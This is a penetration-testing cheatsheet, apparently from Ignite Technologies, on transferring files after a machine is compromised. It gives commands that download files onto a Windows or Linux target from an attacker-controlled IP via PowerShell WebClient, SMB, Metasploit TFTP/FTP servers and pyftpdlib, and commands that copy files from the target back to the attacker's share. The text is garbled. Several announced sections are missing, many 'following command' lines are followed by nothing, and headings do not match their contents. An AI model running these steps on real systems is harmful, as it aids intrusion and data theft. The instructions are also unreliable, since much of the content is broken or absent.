File Transfer Cheatsheet - Windows and Linux
File Transfer Cheatsheet - Windows and Linux
Table of Contents
• Lab setup
• File transfer using wget
• File transfer using curl
• File transfer using certutil
• File transfer using bitsadmin
• File transfer using PowerShell
• File transfer using SMB server
• File transfer using SCP
• File transfer using TFTP
• File transfer using FTP
• Different methods to setup the server for file transfer
• File transfer using Netcat
• Conclusion
Lab setup
Here we are going to perform the file transfer assuming we have already
compromised the target machine and we have an initial shell access.
updog -p 80
The -split option in certutil is used to split large files into smaller segments to
perform the file transfer.
It can be seen that the file is successfully transferred after the command is
executed.
powershell (New-Object
System.Net.WebClient).DownloadFile('http://192.168.31.141/ignite.txt', 'ignite.txt')
File transfer using SMB server
SMB is a protocol meant for communication to provide shared access to files,
ports etc. within a network. In order to enable it we will use the impacket-
smbserver script inside kali linux to share the files. Here we are giving the shared
directory name as share, the significance of the share here is that it converts the
file's long path into a single share directory. Here we can give the full path of
directory or the pwd as argument so that it takes the current directories path.
After the setup is done, we can execute the following command in the Windows
machine to copy the files from the share folder.
copy \\192.168.31.141\share\ignite.txt
To copy the file from Windows into our kali linux, we can use the following
command:
copy ignite.txt \\192.168.31.141\share\ignite.txt
In order to transfer file from another linux machine like ubuntu, we can connect
with the share folder using the smbclient tool and then after login, we can
directly upload and download the file using put and get commands respectively.
smbclient -L 192.168.31.141
smbclient “\\\\192.168.31.141\share”
ls
get ignite.txt
put data.txt
File transfer using SCP
SCP (Secure Copy Protocol) is a method for securely transferring files between
a local system and a remote server, or between two remote servers. It operates
over the SSH (Secure Shell) protocol, which ensures a secure connection over
potentially insecure networks. It has the advantage of cross-platform usage such
that it is supported by both linux and windows.
To copy the file from Windows to kali, we will be using the following command:
To transfer the file from kali linux to the windows machine, we will use the
following command:
To transfer a file from kali linux to windows machine, we will be using the
following command inside the Metasploit framework:
use auxiliary/server/tftp
set srvhost 192.168.31.141
set tftproot /root/raj
run
To download the file, we will run the following command in windows machine:
use auxiliary/server/ftp
set srvhost 192.168.31.141
set ftproot /root/raj
set ftpuser raj
set ftppass 123
run
Once the server is started, the file can be downloaded after authenticating into
the FTP server.
ftp 192.168.31.141
dir
get ignite.txt
bye
dir
We can also use the python FTP server using the pyftpdlib. It is a library of
python which helps us to setup the FTP server on the machine. Here we will be
using it to setup a FTP server on the kali machine.
After the installation is complete, we can start the FTP server using the
authentication by the following command:
Once the server is started we can authenticate into the FTP server from the
windows machine and download the file. To upload the file we will use the put
command and to download the file we will use the get command.
ftp 192.168.31.141
get ignite.txt
put C:\Users\raj\avni.txt
To setup FTP server for Anonymous login, we will run the same command but
without the username and password.
python -m pyftpdlib -w -p 21
Once the server is enabled for Anonymous login, we can perform it and view the
files.
ftp 192.168.31.141
ls
php -S 0.0.0.0:8081
To transfer file in the kali machine from an Ubuntu machine we can use the
following command inside kali:
ls
Similarly, we can also receive files from a windows machine inside our kali linux.
However, it should be noted that we the target windows machine should have
the nc.exe binary to make this method work.
To receive the file in the kali machine, we will run the following command:
Network Pentest
Wireless Pentest
ADVANCED
Advanced CTF
Android Pentest Metasploit
EXPERT
Privilege Escalation
APT’s - MITRE Attack Tactics
Windows
Active Directory Attack
Linux
MSSQL Security Assessment
www.ignitetechnologies.in